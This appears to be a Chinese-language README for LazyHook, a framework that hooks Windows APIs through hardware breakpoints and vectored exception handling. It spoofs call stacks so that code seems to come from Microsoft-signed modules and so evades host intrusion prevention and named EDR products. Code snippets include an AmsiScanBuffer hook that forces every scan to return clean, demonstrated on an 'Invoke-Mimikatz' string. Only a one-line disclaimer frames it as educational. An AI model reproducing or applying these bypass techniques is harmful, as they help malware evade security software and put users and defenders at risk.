LazyHook 是一个隐蔽的 API 钩子框架,通过调用栈欺骗绕过主机入侵防御系统(HIPS)。借助 CPU 级硬件断点和向量化异常处理,它可以执行任意代码,使其看似源自受信任的、经过 Microsoft 签名的模块——完全欺骗依赖调用栈检查和模块来源验证的行为分析引擎。
通过在受信任的 Microsoft 调用栈内执行恶意代码来规避行为分析
使用硬件断点 + VEH 劫持合法函数并伪造模块来源
主机入侵防御系统(HIPS)和行为分析引擎通过以下方式监控应用程序:
卡巴斯基系统监控(Kaspersky System Watcher)、Windows Defender、Cylance 和 CrowdStrike 等系统都采用了这些技术的变体。
通过劫持 Microsoft 签名程序集(例如 System.Windows.Forms.dll、user32.dll)中的函数,我们可以在看似完全合法的调用栈内执行任意逻辑。
注意:可以执行 JmpHook,它将钩住 MsgBox -> 然后紧接着调用您的自定义代码。LazyHook 不这样做
为什么这有效:
安全软件看到第二种场景并认为:"来自 user32.dll 的 MessageBoxA 正在调用 Windows API?这是正常行为。"
┌─────────────────────────────────────────────────────────┐
│ 1. Target Function Call │
│ ↓ │
│ 2. CPU Debug Register Triggers (DR0-DR3) │
│ ↓ │
│ 3. EXCEPTION_SINGLE_STEP Raised │
│ ↓ │
│ 4. VEH Handler Intercepts Exception │
│ ↓ │
│ 5. Execution Redirected to Hook Function │
│ ↓ │
│ 6. CallOriginal() Temporarily Disables Breakpoint │
│ ↓ │
│ 7. Original Function Executes │
│ ↓ │
│ 8. Breakpoint Re-enabled │
└─────────────────────────────────────────────────────────┘
通过在 IAT 中定位导入函数的地址并设置硬件断点来拦截它们。这会钩住您进程中的特定导入。
HookIAT("user32.dll", "MessageBoxA", HookFunction, &OriginalFunction);
通过导出表解析 DLL 中导出函数的地址,从而全局钩住这些函数。这会影响对该导出的所有调用。
HookEAT("amsi.dll", "AmsiScanBuffer", HookFunction, &OriginalFunction);
附带的演示展示了三种实际场景:
通过拦截 MessageBoxA 调用并修改显示的消息来演示 IAT 钩子:
int WINAPI HookMessageBoxA(HWND H, LPCSTR T, LPCSTR C, UINT U)
{
printf("[*] MessageBoxA hooked!\n");
return LazyHook::CallOriginal<int>(LazyHook::GetIatState(), H, "Hooked!", ">:)", U);
}
展示如何通过记录 CreateFileA 调用来监控文件操作:
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
printf("[*] CreateFileA hooked: %s\n", Filename);
return LazyHook::CallOriginal<HANDLE>(...);
}
演示通过强制所有 AMSI 扫描返回干净结果来绕过安全软件:
HRESULT WINAPI HookAmsiScanBuffer(...)
{
printf("[*] AmsiScanBuffer hooked! Bypassing...\n");
HRESULT OrgResult = LazyHook::CallOriginal<HRESULT>(...);
(*Result) = AMSI_RESULT_CLEAN; // Force clean regardless of content
return OrgResult;
}
演示通过扫描 "Invoke-Mimikatz"(一个已知的恶意字符串)来测试 AMSI 绕过,并显示其被分类为干净。
DR7 Layout (Simplified):
- Bits 0,2,4,6: Enable flags for DR0-DR3 (Local Enable)
- Bits 16-31: Breakpoint conditions (Execute, Write, IO, R/W)
该框架将 DR7 配置为:
VEH 处理器:
EXCEPTION_SINGLE_STEPEXCEPTION_CONTINUE_EXECUTION 以在钩子处恢复执行template<typename Ret, typename... Args>
Ret CallOriginal(VehHookState* State, Args... args)
{
RemoveHardwareBreakpoint(State->DrIndex); // Disable temporarily
Ret Result = ((FuncType)State->OriginalFunction)(args...);
SetHardwareBreakpoint(State->OriginalFunction, State->DrIndex); // Re-enable
return Result;
}
演示展示了钩住 AmsiScanBuffer 以强制返回干净扫描结果:
HRESULT WINAPI HookAmsiScanBuffer(...)
{
HRESULT Result = LazyHook::CallOriginal<HRESULT>(...);
(*Result) = AMSI_RESULT_CLEAN; // Force clean result
return Result;
}
这演示了如何通过拦截关键 API 调用在运行时修改安全软件的行为。
钩住 CreateFileA 以记录文件访问,而不修改应用程序行为:
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
printf("File accessed: %s\n", Filename);
return LazyHook::CallOriginal<HANDLE>(...);
}
此代码展示了高级规避技术,适用于:
⚠️ 警告:未经授权使用本框架绕过安全控制、修改软件行为或规避保护措施可能违反计算机欺诈法律(CFAA、GDPR 及同等法规)。本框架仅供教育和授权安全研究使用。
理解攻击技术有助于构建更好的防御。